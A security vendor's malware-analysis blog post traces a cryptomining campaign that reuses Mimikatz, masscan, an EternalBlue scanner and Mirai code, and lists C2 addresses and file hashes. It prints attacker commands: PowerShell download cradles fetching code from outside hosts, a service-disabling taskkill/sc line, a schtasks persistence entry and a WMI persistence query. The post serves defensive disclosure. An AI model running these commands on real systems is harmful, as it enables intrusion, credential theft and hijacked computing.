Miners snatching open source tools to strengthen their malevolent power!

From the last one year, Quick Heal Security Labs has been observing a boost in the number of mining malware. One of the ways to earn cryptocurrencies is to mine them. Nowadays cryptocurrency miner malware have become hot attack vectors for cybercriminals due to its ease of deployment and instant return on investments. We usually observe that such miners come with different techniques to deliver it to a victim. Attacker can download original open source software and slightly modify them rather than completely writing their own module.

In this blog post, we would talk about couple of cases where attack scenario is built on top of these open source tools. We would also talk about how the trend of abusing open source tools for building new malware is helping malware authors.

The trend is observed especially in cryptojacking cases. Though cryptojacking is a direct source of income for cybercriminals, stolen information from the victim’s systems can yield additional money for cybercriminals. So, these open source tools are used for various purposes like downloading frameworks, information stealing, crypto-mining, DNS Changer, Mirai bot and many more. This helped a lot to form a botnet of similar hosts to produce more hashes per second. Often such open source tools are easily available on Github and similar platforms. We can classify them as exploit frameworks, vulnerability scanners, password stealer, privilege elevators, evaders, etc.

Infection vector:

We received a miner downloader which downloads multiple components of the attack. This script may come to your system through spam mails, malicious URLs, free software bundler or any conventional method that is being used by all the malware variants. Also, we suspect that a powershell script seems to be the initial culprit. The behavior of the miner is a bit recursive in nature so we could not confirm its initial trace in the system.

Technical Analysis:

Fig. 1 Working of miner

The miner downloader creates a file named as ‘xpdown.dat’ which contains some IP addresses of C2 servers from where it downloads further components.

45.58.135.106
103.95.28.54
103.213.246.23
74.222.14.61
Ok.xmr6b.ru

It then downloads the following files from the domains:

hxxp://45.58.135.106/xpdown.dat
hxxp://45.58.135.106/down.html
hxxp://45.58.135.106/ok/64.html

It contains the IP which downloads the CPU Miner (174.128.248.10)

hxxp://45.58.135.106/kill.txt

It contains the following list of process to kill if it was running on victim machine.

lsmose.exe                            lsmos.exe                         conime.exe                            lsmosee.exe
1.exe                                      lsazs.exe                           tasksche.exe                          Zationa.exe
csrs.exe                                 shennong.bat                  svshpst.exe                            Spoolvs.exe
svchsot.exe                           xmrig.exe                        srvany.exe                              WinSCV.exe
csrswz.exe                            csrs.exe                              seser.exe                                severxxs.exe
mssecsvc.exe                       mssecsvr.exe                    dsbws.exe

Then malware downloads a text file which contains the information of multiple payloads to be downloaded.

hxxp://45.58.135.106/down.txt

And this down.txt contains the following links. The malware then opens a TCP port 32381 on the system.

hxxp://213.183.45.201/downs.exe              (C:\windows\system\downs.exe)
hxxp://66.117.6.174/ups.rar                         (C:\windows\system\cab.exe)
hxxp://213.183.60.7/b.exe                            (C:\windows\inf\msief.exe)
hxxp://174.128.239.250/item.dll                 (C:\windows\debug\item.dat)

Looking at the links in the file we observed following things.

Downs.exe is a modified version of Microsoft “CACLS” (Which displays and modifies the access control list). Ups.rar is downloaded as cab.exe. This component is a downloader for windows variant of Mirai botnet. This also acts as a DNS Changer and opens a backdoor in the system. On execution, it performs multiple operations like modifying the DNS entry in the host with IP “223.5.5.5” which has the Geo location in China and ISP of DNS is “Hangzhou Alibaba Advertising Co.,Ltd.”

Fig. 2 Window Server Check

Then it checks whether the compromised machine is a window server or not by calling GetVersionExA. It downloads update.txt from C2 server, if the machine is server, and drops at “C:\windows\system\uplist.txt”. The uplist.txt contains the following payload to be downloaded and executed.

hxxp://66.117.6.174/wpd.jpg                     (C:\windows\system\msinfo.exe)
hxxp://66.117.6.174/my1.html                   (C:\windows\system\my1.bat)

It also downloads npptools.dll, 64npf.sys, npf.sys, nsoak.dat, packet.dll and wpcap.dll. These are files used for network packets processing loaded by msinfo.exe during its execution.

Let’s look into these components one by one.

my1.bat:

It contains the code which is very stealthy and evasive as it uses several techniques such as “Squiblydoo”, “download cradle” and WMI Event Subscription persistence exploit to run malicious content on infected machines.

The WMI script contains multiple PowerShell scripts.

powershell.exe IEX (New-Object system.Net.WebClient).DownloadString(‘hxxp://173.208.139.170/s.txt’)

This text file contains another PowerShell downloader as follows:

powershell.exe IEX (New-Object system.Net.WebClient).DownloadString(‘hxxp://74.222.1.38/up.txt’)

“Up.txt” contains the code which collects information regarding System OS, Physical Memory, List of running processes using WMI classes and then downloads Powershell format of Mimikatz from Github.

Further it steals the credentials from the compromised machine and uploads it to the FTP server IP:192.187.111.66 with hard coded credential of FTP.

Fig. 3 Victims Data in FTP Server.

Msinfo.exe:

 It is basically a windows version of Mirai botnet. As more of its code matches with Mirai source code which was leaked previously. Upon execution with command line parameters “-create” “-run”, it checks the architecture of the current system whether it is x86, MIPS, ARM etc. Based on the identification, it will check for its latest update and download if available.

It performs the following task as per an encrypted file downloaded from C2 server.

1. Implements spreader mechanism by performing in the form of blind SQLi (sql injection), brute force techniques by using crack library and hydra tool.
             [Cracker:Telnet][Cracker:MSSQL] [Cracker:CCTV][Cracker:MS17010], CrackerWMI, CrackerSSH

2. It scans various ports such as 80,8000,445 using masscan (a very fastport scanner an open source project) which operates similar to nmap , the popular port scanning tool.
             https://github.com/robertdavidgraham/masscan

3. Disable specific services by invoking the following command:
             C:\Windows\system32\cmd.exe /c taskkill /f /im csrs.exe&sc stop netprofm&sc config netprofm
             start= disabled&sc stop NlaSvc&sc config     NlaSvc start=disabled

4. It also performs network scan for which it collects the Public/Private IP of the system and all the  associated information such as Geo Location etc. Then attacker spoofs his own IP against the current system IP and using masscan it performs scanning of other devices.

By these steps it converts this system into a bot and adds to their bot network. Its code has been developed in C++ and distributed across many sources like-

CheckUpdate.cpp
Cracker_Inline.cpp
Cracker_Standalone.cpp
CThreadPool.cpp
Logger_Stdout.cpp
Scanner_Tcp_Connect.cpp
Scanner_Tcp_Raw.cpp
cService.cpp
ServerAgent.cpp
Task_Crack_Ipc.cpp
Task_Crack_Mssql.cpp
Task_Crack_Rdp.cpp
Task_Crack_Ssh.cpp
Task_Crack_Telnet.cpp
Task_Crack_Wmi.cpp
Task_Scan.cpp WPD.cpp

It basically targets IoT devices which contain embedded Linux. So it has used BusyBox (a software suite that provides UNIX utilities also called as Swiss Army Knife of embedded Linux) for executing remote commands after compromising/cracking those devices through various ways mentioned above.

VBS/BAT Agent For Download Miner:

First the payload will be dropped and executed on the below location in the victim machine.

hxxp://213.183.60.7/b.exe                      ( downloaded at C:\windows\inf\msief.exe)

On execution, it will drop the VBS and batch file in the below mentioned location and execute the vbs file by invoking wscript.exe which eventually execute the bat file.

C:\Windows\web\c3.bat
C:\Windows\web\n.vbs

The bat file contains a lot of code, which will modify attributes of some folder/files, kill some specific processes, delete some files, modifies the access control of some folder/files, make persistent for multiple payload in the system via registry, task scheduler, WMI Event subscription and also modifies the firewall policy by blocking 445,139 ports.

Fig. 4 Part of C3.bat code

There are also two more additional payloads which are downloaded from one of C2 server present in xpdown.dat; one is a diskwritter, a DLL file , dropped at “C:\Windows\debug” location. It will execute on system start as it has an entry in task scheduler added by the above bat file.

schtasks /create /tn “Mysa1” /tr “rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa” /ru “system”  /sc onstart /F

And the second one is the final payload i.e. XMRig Monero Miner, a 64 bit executable downloaded from hxxp://174.128.248.10/64.rar at “C:\windows\debug\lsmos.exe”

On execution, it unpacks itself and drops 3 files on the current execution folder, one is an executable (lsmose.exe -64 bit packed with VM Protect) file and two DLLs (xmrstak_cuda_backend.dll and xmrstak_opencl_backend.dll), which helps miner for successful execution.

One more similar case we have observed, a base64 encoded PowerShell script which is basically a cryptomining malware hiding in WMI class to evade AV and most of the security product due to its stealthy and unique feature.

After decoding we get the following code:

Fig. 5 Base64 Decoded script

Following is basic workflow of the malware.

Fig. 6 Basic workflow of miner with WMI class

On execution, it checks whether IP/Domain is alive or not mentioned in the code. If it is available, it requests for banner and receive a response as ‘SCM Event1 Log’

Fig. 7 Request for “banner” and another PowerShell Payload

After that malware queries for ‘FilterToConsumerBinding’ WMI Class by executing the below command

$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding))

and then checks whether it contains ‘SCM Event1 Log’. If not present, then it downloads and executes in6.ps1 (64 bit) or in3.ps1 (32 bit) by Invoking Expression(IEX).

Fig. 8 Request for powershell script

in6.ps1/in3.ps1:

These scripts consist of two parts, first part is a base64 encoded Gzip data stream and second part contains obfuscated code. After de-obfuscation, the code reassembles similar to initial base64 encoded script with additional features.

Fig 9 decoded in6.ps1

The encoded gzip contains four files as mentioned below:

1. ‘mini’ – Mimikatz, a credential stealer
2. ‘mon’ – Monero CPU Miner
3. ‘funs’ – Collection of functions having function to execute remote DLL via WMI and eternal blue vulnerable scanning.
4. ‘sc’ – Shellcode to execute on another systems and to download same payload, if it is vulnerable to eternal blue.

It creates a WMI Class “systemcore_Updater0” under the Namespace “root\default” and adds properties like mimi, mon, funs, sc, ipsu and i17.

Fig 10 Properties of WMI Class “systemcoreUpdater0”

Then it sets the filtername=”SCM Event1 Log Filter” and consumername=”SCM Event1 Log Consumer”

When attacker uses WMI as a persistence mechanism, instances of __EventFilter,_EventConsumer and __FilterToConsumerBinding have to be created and an _InstanceCreationEvent event is fired.

In this case, attacker uses following query as the EventFilter and binds it with the initial base64 encoded script, which will eventually get executed approximately in every 3 hrs.

SELECT * FROM __InsanceModificationEvent WITHIN 10600 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System

Fig 11 Initial PS script hidden in WMI Class

It has tried to delete the task scheduler entry “sysupdater0” also checks “sysupdater0.bat” in %systemroot% , if exists remove that as well.

Modifies Windows sleep, hibernate and power plan setting by invoking the following command:
powercfg /CHANGE -standby-timeout-ac 0
powercfg /CHANGE -hibernate-timeout-ac 0
powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000

It removes all WMI Object in __FilterToConsumerBinding class under Namespace “root\subscription” if filter name has not matched with “SCM Event0 Log”

Then it kills the process if it has an “ESTABLISHED” connection with port number 3333, 5555 or 7777.

It makes a list of PIDs of running “Powershell” processes and the network connections of the system. It then checks for the process with “ESTABLISHED” connection and associated port number 80 or 14444 or 14433 or 443. If no such processes exist and the count of running PowerShell processes are less than 8 then it executes the Monero Miner using “funs” module. After that it executes the mimikatz and dumps the credential irrespective of execution of Monero Miner.

It also enumerates the network addresses and checks for the IPs that are active and adds them to the property named, ‘ipsu’. It then scans those IPs to identify the systems which are vulnerable to MS17-010 (with Eternal Blue Scanner Script), stores them to the property ‘i17’ and finally executes shell code which will download the ze3.ps1 or ze6.ps1 exactly similar to in3.ps1 or in6.ps1 based on OS architecture.

Fig 12 Shell code executed by invoking “WinExec”

Shell code downloads and executes the PS Script to infect other vulnerable systems. This way it spreads and mines the other systems on the networks.

So in both the cases, the open source tools are abused heavily to perform the attack. Mimikatz, masscan, eternal blue vulnerability scanner seems to be popular tools among the malware authors. Similar techniques are being used for spreading the ransomware too. Quick Heal successfully detects such attacks at various detection levels.

Indicator of Compromise:

790C213E1227ADEFD2D564217DE86AC9FE660946E1240B5415C55770A951ABFD
46BC86CFF88521671E70EDBBADBC17590305C8F91169F777635E8F529AC21044
AE161E582DE9EC380B3E0B295EFFD62EB8889AC35BC6631A9492CF41563ED14A
0E91F531A05C70B6CF3A8FA942B91A026A5B57069AA5B5C8DFE1EBCBC63AEAE9
EAEF82223EEB8CF404A1D46613D36B9E582304B215201B5E557DB578DD73E04E
30CDBB5C9E23758E8C74E9FDBAEE893D67D3BA42B3B09196CF98395738A67F56
7EC433DD0454553B09F11C39944E251E3EE32E4981F52F02ADC3011EB0CE6537
EA7CEDE3BCB8AD6A8E9FED3CB34F8E6746D445E2044455261EAD4E5092070408
88D338D9FC1990E3D48CDB7E704E785953271EEAB97F196BBCD0C4D2D76F7DC3
789CBE603582262914191882DEC7E6A6F1D61D062D2BDF21B8892BC5854C6196
9868C6F0F23FB81229E2EF765FF524602244384C420D14FFD5708341D85EF4CE
D256AF525680DF6A6178AD608D1700FE5178AA2F3EFE4A52DBCF7AD7EA524936

Subject Matter Expert:

Priyanka Shinde, Goutam Tripathy, Vallabh Chole
Security Labs, Quick Heal Technologies, Ltd.

Anant Pulgam